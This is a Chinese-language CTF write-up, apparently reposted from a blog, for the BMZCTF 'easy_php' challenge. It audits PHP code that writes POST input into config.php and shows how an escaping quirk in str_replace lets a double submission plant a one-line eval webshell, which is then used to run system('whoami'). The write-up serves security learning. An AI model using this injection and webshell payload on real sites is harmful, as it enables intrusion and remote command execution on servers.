二、BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]

本文阅读 4 分钟
首页 代码,C/C#/C++ 正文

BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]

1.题目描述

<?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) { 
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) { 
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) { 
    $file = __DIR__ .'/config.php';
    require $file;
    $key = $_POST['info']['name'];
    if(!isset($LANG[$key])) { 
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) { 
        $content = file_get_contents($file);
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){ 
  file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

2.代码审计

讲在前面:

0.str_replace()函数的第一个参数,如果是从某文件里面读取的某变量的字符串值,那么转义符号不会读到。

1.addslashes($string):对字符串参数中的预定义字符进行转义,并返回转义后的字符串

2.__DIR__:取出当前脚本执行的物理路径

3.题目源码中的base64编码【PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg==】解码后:
<?php
$LANG['member_manage'] = 'admin';
?>

4.file_get_contents — 将整个文件读入一个字符串

5.file_put_contents — 将一个字符串写入文件

通读代码:

<?php
highlight_file(__FILE__);        // 高亮显示当前页面源码
error_reporting(0);                // 关闭所有的错误报告

function new_addslashes($string) {     // 对string参数中的预定义字符进行转义
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;                // 返回转义后的字符串
 }
if(!get_magic_quotes_gpc()) {         // 若没有开启魔术字,我们就让用自定义的new_addsalshes()函数进行转义
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {                 // 判断是否以POST形式提交了sudo参数,且值是否为NULL
    $file = __DIR__ .'/config.php';        // 若提交且参数不为NULL,则给变量file赋值为当前目录下的config.php
    require $file;                        // 文件包含config.php
    $key = $_POST['info']['name'];        // POST姿势:info[name]=test,或者info[name]=test[123]=test
    if(!isset($LANG[$key])) {                     // 判断是否有$LANG[$key]【很明显只要我们把key传入为member_manage即可,绕过这个if语句】
        $content = file_get_contents($file);    // 读取file文件内容为字符串
        $content = substr($content,0,-3);        // 从左边第一个截取到右边倒数第4个
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {     // POST:info[name]=member_manage&no1=test
        $content = file_get_contents($file);                        // 读取字符串
        $content = str_replace($LANG[$key],$_POST['no1'],$content);    // 把no1键的值替换为key键的值
        file_put_contents($file,$content);                            // 把no1键的值,读入了config.php
    }
}
if(isset($_GET['re'])){         // 没什么用
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

<li class="task-list-item"> 解释:【很明显只要我们把key传入为member_manage即可,绕过这个if语句】

  • 因为文件包含了config.php页面,该页面中有一条语句【L A N G [ ′ m e m b e r m a n a g e ′ ] = ′ a d m i n ′ ; 】 , 所 以 我 们 只 要 把 k e y 传 入 的 值 是 m e m b e r m a n a g e , 则 就 可 以 绕 过 ! i s s e t ( LANG['member_manage'] = 'admin';】,所以我们只要把key传入的值是member_manage,则就可以绕过!isset( LANG[′memberm​anage′]=′admin′;】,所以我们只要把key传入的值是memberm​anage,则就可以绕过!isset(LANG[$key])了

3.解题过程

第一步:关键代码分析

elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {             // POST:info[name]=member_manage&no1=test
        $content = file_get_contents($file);                        // 读取字符串
        $content = str_replace($LANG[$key],$_POST['no1'],$content);    // 把no1键的值替换为key键的值
        file_put_contents($file,$content);                            // 把no1键的值,读入了config.php
    }

第二步:根据以上步骤构造payload

payload1:GET传入以下内容,生成config.php页面的内容

http://www.exploit.cool/exp/ctf/BMZCTF/?re

img

payload2:通过no1写入一句话木马,执行两次

第一次提交:

GET内容:

http://www.exploit.cool/exp/ctf/BMZCTF/

POST内容:

sudo=1
&info[name]=member_manage
&no1='?><?php eval($_POST[0])//

img

第二次提交:

为什么二次提交:

第一次提交:$content = str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "admin"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = "<?php\n$LANG['member_manage'] = 'admin';\n?>"
因此$content结果是:<?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>

第二次提交:str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "'?><?php eval($_POST[0])//"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = <?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>
因此$content结果是:<?php\n$LANG['member_manage'] = '\\'?><?php eval($_POST[0])//';\n?>
//注意:这里的关键问题是,$LANG[$key]在取值的时候,不会取出转义符,所以此时的$LONG[$key]的值还是跟我们之前传入的一样,也就是'?><?php eval($_POST[0])//

img

payload3:利用一句话木马

GET:

http://www.exploit.cool/exp/ctf/BMZCTF/config.php

POST:

0=system('whoami');

img

4.总结

注意:str_replace()函数的第一个参数,如果是从某文件里面读取的某变量的字符串值,那么转义符号不会读到。也就是说,$LANG[$key]取值的时候不会取出转义字符,所以是如下所示的取值结果

第一次取出$LANG[$key]的值为: amdin
第一次取出$LANG[$key]的值为: '?><?php eval($_POST[0])//
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122267354
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复